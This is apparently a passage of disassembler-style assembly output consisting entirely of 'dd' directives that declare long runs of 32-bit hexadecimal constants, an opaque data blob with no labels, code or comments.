		dd 3C0DE037h, 3585ABAEh, 2B7E0F00h, 2ADDDC16h, 0D7AA00D0h
		dd 418F8317h, 0D201C177h, 7049CF94h, 9439238Ch,	0DE97EA00h
		dd 99D0183Bh, 0BA4269C0h, 0B2913DF3h, 649CA4h, 0CDF81EE6h
		dd 67138929h, 784359E4h, 0A8DE23FBh, 2B3ADAh, 0D57317F6h
		dd 0A169CA82h, 1A455C03h, 98D3580Dh, 0ECD69581h, 252E018Fh
		dd 0DB768487h, 8C4BD08Ah, 8B1A7C91h, 8F7CA010h,	709CC1FEh
		dd 0DEFB283Dh, 22E9038Fh, 0A7AE1FDAh, 664480A4h, 8F0C0732h
		dd 413E5329h, 6F7B065h,	900A31BFh, 0BA0928DBh, 89B38D37h
		dd 4DAC2110h, 0E240B1CFh, 30C52A52h, 41181936h,	82003013h
		dd 0E18FD227h, 91AE87h,	9EBD51F8h, 59A07864h, 81DFA4Fh
		dd 0BB06680h, 0CF4539Dh, 3F01DC75h, 0EC005A48h,	29593026h
		dd 348957h, 0ADF7D61Ch,	5D03F1C7h, 1754B92Eh, 20534830h
		dd 0E39000F9h, 894C5C33h, 0D400B39Ah, 0EE87BD92h, 18A0CCBh
		dd 0C8679C2Ch, 0EC948D10h, 0D4B6C1D0h, 59E7003Ah, 0A042B41Ch
		dd 0B6CE409h, 8C7F3507h, 0E25AFC20h, 3902AD47h,	0D0A309B3h
		dd 0F8F0A3BBh, 0D5CDD093h, 0E01400B6h, 0B58B499Dh, 0A009177h
		dd 8350A485h, 3C3BC3B3h, 3D0E188Ah, 0E807E79Ch,	2DD50A9h
		dd 0AE385607h, 161C00D0h, 54776E96h, 0A0B2636Fh, 3090BB94h
		dd 60E7DEF5h, 0DB02049Ch, 0CF2E10C9h, 0ED94C0A4h, 80DC883Fh
		dd 0B3519600h, 0C2185366h, 25750928h, 0C025DF02h, 0F6280308h
		dd 0C9757411h, 0FD526B00h, 2C974676h, 593FEAC7h, 1A0038C5h
		dd 1208CF92h, 0CC983D4Fh, 822DD200h, 4C0A85B5h,	0DBD8E7DDh
		dd 2E292C51h, 63C881B8h, 3D5492B6h, 807C3ED8h, 4116AFD6h
		dd 50696811h, 4029C042h, 31385B1h, 0CC8007DAh, 1EB4819Bh
		dd 917C9E7h, 98001B29h,	7D846841h, 46B81800h, 0F55372A4h
		dd 0A2EA070Eh, 9CA58E56h, 0A6135481h, 120E41A3h, 0F68BA0A9h
		dd 5A4535h, 219DE13Fh, 0C0F8D2CAh, 1625C900h, 0ECEB970Dh
		dd 0D6910094h, 522FB6F9h, 34E0436Ah, 6B444A00h,	269263DCh
		dd 0E21C00CBh, 0EE5835F8h, 7400A59Ah, 62A89B5Ah, 48C07F50h
		dd 87004EDBh, 118E0822h, 6F62B51h, 0EA9038h, 7C6C754Ah
		dd 0DA4E4Ch, 0E2225DF4h, 17955326h, 0D7F9C800h,	0AE680FAFh
		dd 51B50357h, 5420F074h, 5EA341C7h, 6F94D8B0h, 987015F6h
		dd 7E975000h, 4AC618F1h, 60EDEE88h, 0CB5CA0F7h,	720FBA1Fh
		dd 0D995E4h, 8465609Eh,	0A1B10501h, 201BBC1Ah, 0EF0726A0h
		dd 67866D00h, 7C797BCEh, 0B4E81640h, 0C3281F13h, 0C6AF3A97h
		dd 7555AAA8h, 4117A609h, 0B91D00EBh, 4F7A30h, 0FABB86BAh
		dd 8D7DC9F9h, 89211100h
		dd 6A94EB1Eh, 630E01A8h, 8E830786h, 0FFDE444h, 0DD07500h
		dd 9B950441h, 0E2E60221h, 83794C4Eh, 2AA3DDC0h,	479A300Fh
		dd 0F55B80AFh, 242DC2h,	0B4834B8Eh, 19F606DBh, 8058C03Fh
		dd 1BAB29E3h, 986552A3h, 138D1DD9h, 856982AAh, 0A449DC54h
		dd 1899C081h, 222EE300h, 0D5662031h, 650D02F1h,	4CECC340h
		dd 0EDA2EC60h, 0B675D6F4h, 0EEB97E0Eh, 505C828Eh, 481C605Dh
		dd 32C600ABh, 47E3AD2Dh, 0D0098156h, 9B5371h, 0E17C433Ch
		dd 7530006Eh, 0BAD196EFh, 950040F7h, 0C8E9613Eh, 0A8EDB1h
		dd 50B25565h, 45BA7CF4h, 18700C01h, 0D1B1D52Bh,	79AD5834h
		dd 877C0003h, 0A0B52CD7h, 0ED26CCC0h, 0BF818888h, 0C4182EEFh
		dd 0BC4EC0h, 334F0CB2h,	9FDC2662h, 0C9124506h, 931F344h
		dd 290E37AFh, 3BB9C20h,	6A0140F5h, 205C9C0Fh, 4360B8CFh
		dd 2771C2h, 41E8B4E2h, 1C564A53h, 1E80A006h, 0F64199E1h
		dd 9190008h, 2B04E4A2h,	0EB13796Eh, 404B0B35h, 0FC9424F4h
		dd 98A140D8h, 353A02BCh, 3D646793h, 832E1C64h, 0AF00941Dh
		dd 306687DDh, 82281E8Bh, 67C8C5A1h, 735C839Bh, 6C3724A9h
		dd 0E09116A8h, 0D3BEB440h, 545659h, 2E5C7A73h, 0EEF04748h
		dd 0A2DDC302h, 4359375Eh, 6DECA08Bh, 22E800D0h,	0ADB6465Bh
		dd 0EF301C19h, 26E5D8C4h, 936000CEh, 0CFD88223h, 7F4C689Bh
		dd 72610090h, 39A842F4h, 2FB0379h, 7D07C4FFh, 0F7ACEAD8h
		dd 0CE280160h, 0C36E66h, 0C1A80440h, 0EA508955h, 0E6000DF0h
		dd 4E38FDC2h, 0C9A9B1h,	0F0C8214Fh, 0A5908FCBh,	71EAF977h
		dd 68000690h, 984A0FCFh, 21D08D7h, 0CD33A559h, 0A0C134B2h
		dd 92820CCh, 0FBE06D54h, 30B4FD55h, 2E00F14Bh, 9E0C3C31h
		dd 0C042093Dh, 4CDCD946h, 0FE186881h, 0C712A288h, 7CCC0085h
		dd 0DD2AFD82h, 89025E47h, 69A2F9BAh, 2D8A417Ah,	0FF9420h
		dd 38FB5034h, 26DE53D3h, 70C50F00h, 57F0BA95h, 2D8305F7h
		dd 0C023C1DCh, 30EEE314h, 0F6D77F00h, 0F5DD81FEh, 0A8840DFBh
		dd 4008FCD5h, 0D65783D0h, 80542D00h, 988C38B0h,	184ECE8h
		dd 0ADB2C69Ah, 0C82CBDF2h, 0B6029D99h, 2257DA42h, 85FCD36Dh
		dd 0D054B516h, 0AF53B63Ch, 7A3B0A00h, 1A416BB2h, 93803846h
		dd 0C563EF80h, 0D9A32869h, 71309960h, 17FA0C6h,	9E424415h
		dd 0D4F3F577h, 3D039839h, 0EFB62FECh, 5A4BD8BBh, 95A400F4h
		dd 0A9916CFh, 9F768849h, 0F8082C01h, 0E2BFF3A8h, 1D89AF4h
		dd 0D6236AFBh, 0C0D97041h, 0FC00B74Bh, 10F355FDh, 0E9A2F5Ch
		dd 7D7FC585h, 5F1740BEh, 0D0249475h, 47A2D900h,	936EAD82h
		dd 0D7EE0FBCh, 43E08026h, 0F31AD396h, 0C48D2A00h, 21618406h
		dd 0CC9F051Bh, 0FFB68FA0h, 8D8B6AC0h, 4ECF04A3h, 80619886h
		dd 8C0F7980h, 38F4A65Ch, 4703F80Dh, 295710DCh, 245EF1DAh
		dd 0F000802Ch, 0F34D4CF7h, 0D32DA96Ch, 0EDD400F5h, 0B5C1BC03h
		dd 0C30934F0h, 0C8AD0B0Ch, 0E128804h, 1AAFF620h, 2391E260h
		dd 71004AC1h, 9EB24F6Dh, 5B27DDh, 0BA014993h, 2DD11FEEh
		dd 0B15A1D03h, 0CB35A076h, 0D5F5EA58h, 744454C0h, 60003DB0h
		dd 0A57D2877h, 3CBE9EFh, 0C0DB34F5h, 17B1B14Fh,	7DD1D7E6h
		dd 4A20302Dh, 37A7E100h, 7B26818Ah, 650F02EFh, 0A23E4319h
		dd 7EFCF0E0h, 0C1F84C09h, 0EE1480E5h, 0F2AA47h,	0CBA1A441h
		dd 5501A50Fh, 0E3837409h, 23528059h, 901833FAh,	4228000Ch
		dd 48C16FBEh, 537B44CDh, 0D0A0B898h, 0DFFE9DB9h, 1C0FA7E8h
		dd 8EB6B3DDh, 258C20ECh, 0A5D8E8h, 0F16A731Eh, 0D750E696h
		dd 5CE09A00h, 52EF8ED3h, 75AC0BD5h, 3490C28Ch, 0C083B48Dh
		dd 12135605h, 40CE03B2h, 0ED5FF780h, 763AB79Bh,	0F9219E82h
		dd 0A06C2383h, 5F80B01Fh, 0FC7A67h, 59E88D05h, 1A3418EEh
		dd 7687AC01h, 0DDA67EF1h, 970AE0h, 0D2DCF728h, 0DF9D110Dh
		dd 0A9233700h, 2B1CCF0Bh, 9070E320h, 0AA3B05B9h, 0C08B99E0h
		dd 326790ACh, 648E2200h, 3B956CE7h, 4C7E4D41h, 0B06B0701h
		dd 305714BFh, 82711C8Ch, 5F4F2D01h, 24428B26h, 3A5860FAh
		dd 5D6C00F8h, 0FCD6F0Dh, 5A1D2E7Eh, 124FC811h, 0F85640A9h
		dd 7D7A5Eh, 36B8F4F2h, 0D3DD9A6h, 0C8601C03h, 0A89C6883h
		dd 84C2C0h, 8E127D7Ch, 0CA2109B0h, 78514E00h, 0DAAC1C9Eh
		dd 80D8A20Bh, 6344950h,	5F0400F9h, 39F1E4E2h, 4B0EE3C2h
		dd 0E0AC984Dh, 61F209AAh, 873A0046h, 54AB9EF9h,	3000FA49h
		dd 8E5AA97Eh, 948A4AFh,	0B802F8C1h, 0CC001070h,	258B774Bh
		dd 0A7D8CEh, 325DA6E2h,	94050135h, 8CB5A1Dh, 247E00BFh
		dd 0C5E9120Dh, 60D60009h, 6C643499h, 0AC98207Dh, 5C69B701h
		dd 5A59BD6Ah, 67DC8BF5h, 3CB60063h, 65AE1B6Fh, 2D093DF0h
		dd 2B47E04Ah, 0FC5803E8h, 0F258E0EBh, 46430075h, 4C78F009h
		dd 0AC98AD69h, 60EE7B00h, 73FDEFDEh, 29E9007Eh,	19E214B6h
		dd 0A22EC789h, 8F80509Ch, 4DB2B5DFh, 2E1C03B9h,	1EF45486h
		dd 0A2A953A8h, 49454A30h, 3BCC6Bh, 13E6C790h, 70CD29E4h
		dd 0DAB18900h, 603586B0h, 0ED0E0016h, 0F6E657C9h, 3C26782Ch
		dd 1D005071h, 2DD76F7Dh, 0E34B089h, 0B48C802Bh,	0C0F1DE21h
		dd 0C3E32088h, 38EFD01h, 62058E8h, 2C54F0h, 2A56C272h
		dd 1D1A9B7Ch, 0E909E8BCh, 0A65083BCh, 0E2F7B00Dh, 0CB24006Fh
		dd 637D7338h, 7AFC0269h, 3031812Eh, 0A0F6408Eh,	37A07905h
		dd 3BCA76F9h, 7B82BDE2h, 4DA5B534h, 81445F40h, 0A6396903h
		dd 586FB941h, 0AA88BCC0h, 0F55F5700h, 0DAA6D7h,	305296D8h
		dd 315B21A3h, 94A00B24h, 3EBF7C85h, 0AF0C6490h,	3AEF004Ch
		dd 0B8AD8AB2h, 87003DA0h, 0CF0F68BEh, 0B8D9A8A3h, 57A12FEh
		dd 0C0901DB7h, 205FFB3Ah, 0D03F80B6h, 27FBEDAh,	0EDBC9B66h
		dd 8E68C8A8h, 0EE501F99h, 40AF5E2Ch, 6FB73DE6h,	0B8300AA0h
		dd 0B33E7C64h, 6C24018Bh, 0A5434C0Eh, 91FF049h,	0D8362000h
		dd 740A7DB6h, 0CE6E0403h, 8024B943h, 0C101807Fh, 98507C28h
		dd 9120021Eh, 573D7A83h, 0E125DA5Ah, 0D8C3EE00h, 274600Eh
		dd 79B324FDh, 0C8402C35h, 0A21C7E19h, 7C121CBFh, 40714CC2h
		dd 7856DA4h, 7E0637C8h,	0F65090D3h, 0B1002FC6h,	0BD3BC0F9h
		dd 31CEEDh, 5ED60BA7h, 670DFBACh, 0B39A4C0Fh, 65F9A011h
		dd 71A01C61h, 0ABD00348h, 0D6A68AF4h, 0D853A916h, 59257D04h
		dd 3214CC90h, 2E0D121Ch, 6F2401D5h, 64EACEF8h, 3F0CFBECh
		dd 60616245h, 864F0513h, 80BECE91h, 0EED22208h,	0EA1C3AF0h
		dd 6ECA7376h, 0E41DAC3Dh, 5A33A440h, 0BA4698h, 0EBDD3A6Ch
		dd 48457182h, 0AE133E00h, 627642BDh, 60A41CE8h,	7E42C7Ah
		dd 84166E44h, 5FA9007Bh, 30330Dh, 0FE451BFDh, 7407204h
		dd 447E1000h, 0F613103h, 99141780h, 4BF0874Ch, 3E4C0375h
		dd 0FCEB9D1h, 0D5F04FEDh, 946B49A0h, 6583FA01h,	244607ABh
		dd 947D1588h, 0CA7D4400h, 0F10E0145h, 614C1B3Ch, 6CF020D4h
		dd 6E7902A1h, 33BA202h,	0F1355F96h, 256000E8h, 4CD93CCCh
		dd 0D636BB04h, 7885737Fh, 49751A00h, 0BC721FFh,	85950BBFh
		dd 8A325400h, 622FDE25h, 3D108065h, 12B722B8h, 1ADA39Fh
		dd 3AA96184h, 8A60E088h, 5B3C4890h, 0A20F80A5h,	0FFEA804Fh
		dd 0E1990041h, 0A76B4208h, 0F7026623h, 0ACB643A5h, 7B06129h
		dd 1A009145h, 1BED4BC9h, 72C9ACCh, 7E181FACh, 0FDCF7095h
		dd 2A09D07Ah, 0DAD3542Eh, 0E8F2E4h, 7D1A562h, 1E479F39h
		dd 0B0A8F926h, 0EF0BEB1Eh
		dd 58EC4Dh, 0DE168E4Bh,	5B5662D8h, 93352B00h, 0A960B432h
		dd 0CF190FF1h, 7D2712EAh, 1D2FE085h, 5E007E03h,	0B0840D4Ch
		dd 0E63ED19Bh, 0F55007BAh, 20ECA5F2h, 78FB2FD9h, 51DCC204h
		dd 0AC802196h, 98E6208Eh, 20EE5E7Bh, 261D8AC8h,	6ED50D0Fh
		dd 0D752007Dh, 7CBA83h,	79DC210Bh, 26412DB1h, 86C5E600h
		dd 6FECE152h, 0C0944F92h, 0FBDC8384h, 8957F900h, 52FF605Bh
		dd 0DDB10076h, 0EAD90430h, 3004194h, 63A4752Dh,	0DC5B91h
		dd 3A26E9AAh, 7AA1EBF5h, 8C3C9518h, 121BF478h, 0FF5A4AA5h
		dd 0B6857D01h, 88F43E0Ah, 0F3C3075Dh, 20B1C952h, 26B5F8F9h
		dd 69231A05h, 4480CD36h, 3B523A90h, 4600CCBEh, 22544B84h
		dd 20067D6h, 0B1377224h, 7545FFh, 36112689h, 0DD957364h
		dd 3040AB37h, 0D05703C2h, 0A71A2238h, 9F017D90h, 0CBCED379h
		dd 7180DA0Fh, 7B685A7Fh, 0D501360Bh, 1B3F0E90h,	33A53D8h
		dd 88BC3A84h, 16FC7BE0h, 539BD98h, 0C39C80A9h, 0A0813C9Eh
		dd 9341ADCh, 1461B1BEh,	0F28DDC43h, 0A9E14F03h,	486722h
		dd 1F106258h, 0FFC27E63h, 3A836094h, 0E9FA966Eh, 0BC2005AFh
		dd 2186182Ah, 2650503Fh, 719BEF30h, 0C00E4972h,	2F83E8D9h
		dd 7B13543Ah, 3CC02AF7h, 0B90D84Dh, 844BEE17h, 0DAB83C00h
		dd 0FB024F91h, 0B08DB689h, 0BBC1607Ah, 0C8384C08h, 5D07D700h
		dd 8067F91Fh, 0BC225F00h, 0D4CD4FAAh, 7ADDEC38h, 1FB2000Bh
		dd 0EAE63FC6h, 0B301FDA6h, 0A564A802h, 3421B7EFh, 70698060h
		dd 42890020h, 9B286768h, 6C00D806h, 0D396322Fh,	26DE5AA3h
		dd 855FD9h, 0E9412E10h,	0BE00F291h, 4999B57Ah, 52A5D4h
		dd 929DCDBFh, 25A6D660h, 0E8110F00h, 49B8108Bh,	18670370h
		dd 0B9EAF50Ch, 0FFE39FC0h, 0BB864301h, 57F77901h, 0DA00307Dh
		dd 3415921Ch, 0FE00A852h, 2681DDE4h, 6D6FC2h, 16246443h
		dd 62E14B89h, 6E012071h, 33E30E84h, 51FCA36Dh, 0B4A009Dh
		dd 0F7ED90E8h, 5B054C49h, 0B4D4D19Eh, 7A8CB0h, 0F645E42Fh
		dd 0C02E02B9h, 9B0DC5Ch, 27D71B75h, 97AA6EB8h, 70A0FD13h
		dd 670C3FC8h, 2200F9DCh, 0EEDB573h, 1890396Bh, 266C5E00h
		dd 88CCE23Ch, 0EB8502DFh, 53D33695h, 22BCBC60h,	0DCF4AC1Dh
		dd 171C8F4Fh, 662CC2h, 0A1E9B5B4h, 953C8500h, 5BFFCDADh
		dd 4393847h, 0FCB74CFBh, 2950C04Fh, 12371963h, 5A70A8FCh
		dd 7EB725E2h, 50650067h, 7A552BFDh, 8A3F21E5h, 0AD8E8937h
		dd 0FCDD4DFh, 0A4A00AB4h, 0A621BD5Fh, 0D7E49100h, 71974228h
		dd 0B11200ABh, 468E0FB8h, 510E7A2Ch, 607CF459h,	0E7985CC6h
		dd 175DB0FFh, 0C7729D14h, 7DFF358h, 195371A7h, 27878E7h
		dd 0F633CAA0h, 17236058h, 27B40024h, 29EB2F8Ch,	14FC7BE8h
		dd 1621302h, 81381DBCh,	0D25AABA4h, 0F0AC80D3h,	0FDD10116h
		dd 0E3A8347h, 9718807h,	4F058E0h, 58F7DE12h, 3F9BB090h
		dd 54D2099Ch, 8EC7180h,	0DE68E703h, 0C872FA18h,	59C77426h
		dd 0BA00C0F8h, 0A7781AD4h, 1B06E720h, 0D64A8A2Ah, 81B10069h
		dd 0C5CAF2A4h, 0DE374889h, 0DD6718B7h, 0A4225B0h, 68961Ah
		dd 3393C1D4h, 324BE191h, 0D65C6080h, 909028h, 35C4146Fh
		dd 0EC389C61h, 6602CC90h, 924586F1h, 9A00C0D6h,	6B942EDCh
		dd 0FE4B03DAh, 0EAB86430h, 440902F1h, 50756850h, 0D5DD2528h
		dd 140A04C0h, 4027A891h, 1D3BEFECh, 0C0F3919Eh,	1C78429Dh
		dd 0B490902Fh, 0CCAA8005h, 0C8007D79h, 0E3932C4h, 9EB50037h
		dd 711DBA31h, 210B1E95h, 0E153EEh, 8970AC7Ch, 72AA2CC7h
		dd 25690E6Eh, 9BED8CE0h, 4F2F4BA8h, 59D0B1h, 81A35410h
		dd 0ADD40878h, 8BB9E000h, 6597A838h, 887363h, 0BB798059h
		dd 0E449C0FDh, 0E5DA090Bh, 0CC5837h, 9246764Ah,	1802D350h
		dd 0C420C817h, 0C92E5600h, 496E47h, 0CF962955h,	0AFFFFB10h
		dd 88173C00h, 2F312E8Ah, 8EE704A7h, 0C00FC3E5h,	4F0BB1D4h
		dd 8AAED609h, 5CD0842Bh, 0E33B10C0h, 2DA6F674h,	2C404FA3h
		dd 18B504DAh, 1AD16C0h,	0DE857F92h, 60EC8EDCh, 0C4B6A29Ch
		dd 936E20C7h, 17951CC1h, 0DD0C042Ah, 1480BD54h,	9F924E4h
		dd 36832588h, 0E89126BCh, 6C83B848h, 4F4339A3h,	5480695Ah
		dd 5E44C91Dh, 834400C4h, 1EC86102h, 0F8F27076h,	0A94D5909h
		dd 968C18F6h, 31A1606Ch, 52D02B18h, 7EA09001h, 0DCF6A512h
		dd 70A45440h, 7E7C92C4h, 965F219h, 0B1D2D5ADh, 0DFF33410h
		dd 461F17F0h, 343E09Eh,	0F0119176h, 4EC18C2h, 51D8156Ah
		dd 27F080F4h, 949FFC24h, 6F4618F0h, 3319D91Ah, 90075828h
		dd 0F0B68B00h, 0D05CA2FFh, 810C9915h, 0B245F8D2h, 56843444h
		dd 84580AB7h, 0E193F60Ch, 0C8145A76h, 0A100E3B0h, 1358D1EEh
		dd 28BE4E2h, 362E57CFh,	38D09EFCh, 3279A200h, 29D9A6FDh
		dd 9B680004h, 0E951568Eh, 0F53A5A31h, 0B096129Ah, 799ED001h
		dd 0B6DC5B49h, 9D509A64h, 0D595F4A0h, 6D75F818h, 8B82C00h
		dd 575C5672h, 0A50944Ch, 8090589Ah, 0D25BEF4h, 0C6243077h
		dd 0D912A4D2h, 5849D806h, 38809DB4h, 9CE01E79h,	0C1E00FB7h
		dd 4251001h, 5E5F3181h,	6E4E88A6h, 1F0EE804h, 2A4F3240h
		dd 31009058h, 0E2F7DB1Dh, 382168h, 814659CDh, 0AD9B3B2Fh
		dd 6AB9AA00h, 26FC80F8h, 4F570041h, 0C52D957Ah,	0F0036D9h
		dd 8B0846A8h, 6AEACBh, 4A73EE72h, 4558EB83h, 78DA6306h
		dd 106A1DDh, 8734C515h,	0E80AD170h, 0A500FFA3h,	3A9A82E1h
		dd 75C191Ah, 3B757B51h,	0A0F280E2h, 0CC1D343Eh,	0C780229Eh
		dd 5046EB18h, 473C0092h, 742B8E65h, 0B90763FDh,	7393FB3Bh
		dd 6C8B3081h, 2CC60F70h, 1C282E4h, 685C0E1Fh, 0CC0BD803h
		dd 0E5DEC101h, 0F8F5EFC7h, 9EC4EAE1h, 0C2F200C4h, 63D58008h
		dd 12F051AFh, 0EC48C600h, 0A6F65E0Ah, 809454E8h, 1D3D0095h
		dd 2E0B903h, 0F5F05B6Dh, 87C27F03h, 0C0A7B2EAh,	0C0E124h
		dd 5789AD79h, 0B3786945h, 93C9513Fh, 7D017150h,	0A94F592Bh
		dd 3E4D9D4h, 0EEF2D726h, 3BB806C7h, 9200AC9Ch, 38C7FC8h
		dd 6AD90Ch, 75042A11h, 44414F0Eh, 0C27C2E77h, 547A5C78h
		dd 0EB604900h, 825A3991h, 649400F8h, 0B63FD4F9h, 84A05F89h
		dd 0D200A2B5h, 0FA827423h, 3DE1DCh, 94A3ECCh, 194F206Dh
		dd 770097F0h, 86BD8B25h, 2DBFDB0h, 0F323BF37h, 6E0FC1Ah
		dd 38C13E71h, 49AF9466h, 1EA5C1C4h, 4E044BDDh, 20B8860Ch
		dd 0AD12C5C7h, 14011428h, 1DC4DEDh, 1E1AC770h, 8E1EC9E8h
		dd 821DB389h, 0E918EC53h, 0A90F43C0h, 0ABAA120Ch, 0E881483Ah
		dd 50C7D2Dh, 392F181Fh,	0E87E80BDh, 1600673Dh, 5903C0B5h
		dd 0E5925Bh, 57C54E0Bh,	87E7474Dh, 0E4487F07h, 3E127090h
		dd 66104078h, 0FE1910ECh, 9BEF005Bh, 35E3F1BDh,	0C5DF0076h
		dd 0BADA8309h, 9AA074AEh, 73F6B018h, 1BF3Ch, 0DC2F96E2h
		dd 9F266EDAh, 1C00ACD0h, 2C65E935h, 48A9130Dh, 0EB0010D7h
		dd 6359E5FBh, 88001918h, 148DBCC9h, 0D2B607h, 53ED0B24h
		dd 3A786E83h, 0D90FE000h, 69A18A4Fh, 6C353E0Dh,	7E60C000h
		dd 532788FCh, 3E616400h, 405B9FD0h, 0F1BA002Ah,	7819F905h
		dd 0FB0013CDh, 2E7EBF3Fh, 64BCF5h, 24B17AA3h, 710EC643h
		dd 93128A60h, 0B45377h,	5C69D20Ah, 64EC9513h, 6608C300h
		dd 6BD4D302h, 0DD550004h, 2A9A1F62h, 76030B2Fh,	0E2EF1206h
		dd 0C6139019h, 987C6Bh,	0EDAC77FAh, 0E69275FBh,	0E028C51Eh
		dd 2805586Fh, 0AFC665h
		dd 5105D34h, 0CBE88B63h, 25BA6E2Ch, 2F8C7D00h, 1CD24DA0h
		dd 702EC5h, 375CE98h, 0D507A165h, 0D138FDB4h, 0DF6EACA0h
		dd 53F016Ch, 0FCC2A037h, 0FFE5206Ah, 0A9BE8600h, 7080C6B2h
		dd 0BFFA009Ah, 2E735D2Bh, 3A9817CCh, 0C400627Eh, 3ED57E14h
		dd 747F0B4h, 0FD168ADAh, 0ED00EB85h, 7D32A3E7h,	8E2CCD00h
		dd 8348FC88h, 28D4FD12h, 0D636003Dh, 5BCFE66Eh,	0C607EB99h
		dd 0C7983473h, 1D478F81h, 6A95C0h, 0EC945675h, 7A3510BEh
		dd 7E2D700Fh, 8C2480D2h, 81E609h, 0ABDC481Dh, 518359A0h
		dd 0E3FF4A0Ch, 4FE07Eh,	0CBA7650Eh, 37D34629h, 61A4C200h
		dd 909BE98Bh, 0EE8400F4h, 0C6A55532h, 5000B76Dh, 0D59E453Eh
		dd 0DF64C188h, 9A960A80h, 0D2D787F0h, 0C21A03F3h, 0F2A70FA3h
		dd 1080BF52h, 0FFC165D3h, 0C9A1922Eh, 0B11D821Dh, 743F803h
		dd 0E5D10679h, 60EFC2C1h, 58914F0Bh, 83338E33h,	7869197Fh
		dd 0C17C18h, 71C81D0Fh,	0D064E98h, 287B2B30h, 0C182D0h
		dd 44C2C31Bh, 8440BB50h, 0A0CF7C33h, 0DD217507h, 0B3FD4280h
		dd 90191043h, 6D80090Ch, 0CD081FCBh, 0E9C40095h, 35AB1C16h
		dd 667F6500h, 614B5590h, 0DA5D0008h, 0D2CE6E5Ch, 0B9B826B9h
		dd 0CF765900h, 0A17F3FC1h, 0DC2C01F6h, 0BA2D1695h, 19F1F0C8h
		dd 98FE4779h, 0F01D900Fh, 754606AEh, 50347D21h,	7056A0C0h
		dd 19BF0C97h, 3C30F0AFh, 0CEA7A400h, 96752CDh, 18E460CAh
		dd 8EF1467Ah, 0A60F40DFh, 9D0D027Bh, 1E8C81FAh,	2882ECDAh
		dd 9BF8DF95h, 77A0D0AFh, 0CE57754Ah, 887E242Ah,	6409A367h
		dd 88ED0C9Fh, 1163079h,	97200E51h, 0BE617671h, 0CA3609D1h
		dd 0D5CCCC42h, 410EC843h, 2AE1420h, 48CA419Ch, 6266C20h
		dd 9140C0BCh, 0BF6088CFh, 31F95998h, 7ED819FAh,	80026026h
		dd 0B6CC0C71h, 73EEC44h, 5D966FA2h, 1510F33Ch, 0C9867CC0h
		dd 0A100DC5Eh, 5DE3423Ah, 0EE3500FEh, 57641136h, 0EF3B0EA5h
		dd 97DC80B7h, 29C80496h, 0E4F2FC07h, 0EEBC2442h, 0CF710085h
		dd 0F86656D4h, 80899C3Dh, 0C011FC3h, 0E948C9h, 0AFC6E2BEh
		dd 42D71380h, 58CB8F03h, 0DB85F1h, 0EE4F1DB8h, 44CE544Ah
		dd 0FA3E55F8h, 429D0BC6h, 837F8FE6h, 0F639FE06h, 118E2918h
		dd 79BA0AC4h, 0A5A90810h, 7C1DC421h, 539C8206h,	2A760011h
		dd 321A0313h, 0D53378F0h, 3E6C0802h, 131F1421h,	0BC21015Eh
		dd 6E7FB4CAh, 127B5AE0h, 429F658Eh, 0F12A0914h,	0EC1B0C40h
		dd 24F7FFECh, 0B500F484h, 0B14D2CDBh, 66169B58h, 21F80890h
		dd 0DB820200h, 0D673D24Fh, 625F181Dh, 0A9EAC07Dh, 0FCC8520h
		dd 40FA7FCFh, 69108895h, 0B11D3CF0h, 64A5195Eh,	43AA2888h
		dd 0FBA44A00h, 454D92h,	8D144BE5h, 0B9409C3Eh, 0F973600h
		dd 0D96684DDh, 1E64EC8Ch, 0C5198FD2h, 985AA8h, 0D70283F0h
		dd 2600A32Eh, 7D92B18Bh, 3F13FBh, 61B7ABD3h, 0A0CDCB6Eh
		dd 0CEBC321Eh, 9EFEFAC0h, 2EDB43C5h, 0FE14556h,	0B800D986h
		dd 0D2C353B4h, 1943600h, 0CE2D220Dh, 75A71B9h, 0CD6D87F9h
		dd 52B1805Fh, 0F21E0D0Eh, 9E0CC19Bh, 5CC92050h,	1060E8D1h
		dd 234A3C7Ch, 0CD9940C1h, 389EB10Bh, 9B731E27h,	45F029FDh
		dd 7C0315DDh, 345CA275h, 0D308304Dh, 0DD7DB821h, 9D771806h
		dd 0F8685997h, 17230351h, 5FA6348Ch, 3EE386CBh,	707754B3h
		dd 4DDCE0EDh, 0BA0052F4h, 0AF38DF80h, 0C3BEACh,	65768D73h
		dd 9BBC0E0Bh, 8CEC9601h, 94031A53h, 769D4DCh, 0C12D1552h
		dd 0FE70C062h, 0C0BDC79h, 815444D1h, 0F1D72197h, 2B57E0h
		dd 33E35CFBh, 1F4EA691h, 0FD85150Fh, 7E3A8078h,	0E07D4BE6h
		dd 0EBA80380h, 0C8BF8167h, 1F5E6EE8h, 0F0C55300h, 8C6D0BC1h
		dd 779500E8h, 6142FD33h, 99005D66h, 0B714C01Dh,	0DEC64Fh
		dd 637E5E12h, 0F3C9BF22h, 0CF447D00h, 8D394887h, 0D1CB1EB5h
		dd 8B00B9E3h, 25D2C9A2h, 0B300D4F7h, 0B97DBF6Ah, 1C34083Dh
		dd 40C1F48Dh, 3C454E44h, 71F6C772h, 0DBD0820Fh,	96CD2026h
		dd 9AC5FCh, 0D5123202h,	0E3237A94h, 0B1340912h,	95368A00h
		dd 63354A3Bh, 6C2F5862h, 0DD1CCBE9h, 68BE38h, 0B78C5786h
		dd 0F123Ch, 9233BE61h, 2BFD9A6h, 293BE830h, 40A07780h
		dd 9200B7A4h, 2DC32AA5h, 0C0379F05h, 0BF1B9961h, 8D00A733h
		dd 3E98DEC7h, 34D9E3h, 0C4C0866Ch, 9050AE7Fh, 94887EFh
		dd 604C84BCh, 0A52E003Dh, 4F8D63E2h, 8A007D07h,	770C4B7Bh
		dd 34BCFAh, 1D67B44Ah, 46D126Ah, 6CA89F01h, 8B7F1C74h
		dd 1919C50h, 2EC70052h,	0DEC853B8h, 5B010D90h, 20F59EA1h
		dd 8260ACA7h, 32F0002Ah, 371ED017h, 1D01A040h, 0C0CC4527h
		dd 308E6EC7h, 57A0D4BAh, 5AAA0B0Ch, 147D7203h, 8812DD4Bh
		dd 7AB22835h, 74B6006Ah, 2C20042Eh, 0F4064E37h,	0C960CA6Eh
		dd 23B70149h, 9DE48A93h, 88BED8h, 63377EADh, 6506C5Dh
		dd 0A8F056E3h, 0CA04823Dh, 0D957D369h, 6F354F80h, 0E5441847h
		dd 0E0BF50F6h, 0D4213Ch, 859EEFD0h, 0AE89755h, 0C44B2F60h
		dd 0FCF0070Ch, 119F20D4h, 0C030EE41h, 6FA791A2h, 44FB00E9h
		dd 8B3F0477h, 58007ED6h, 0CC69EFDCh, 3B456CF2h,	33813B62h
		dd 5FB1B30Ch, 0FBD6E4D1h, 0A6E69E2Eh, 0F190613Ah, 5980AE63h
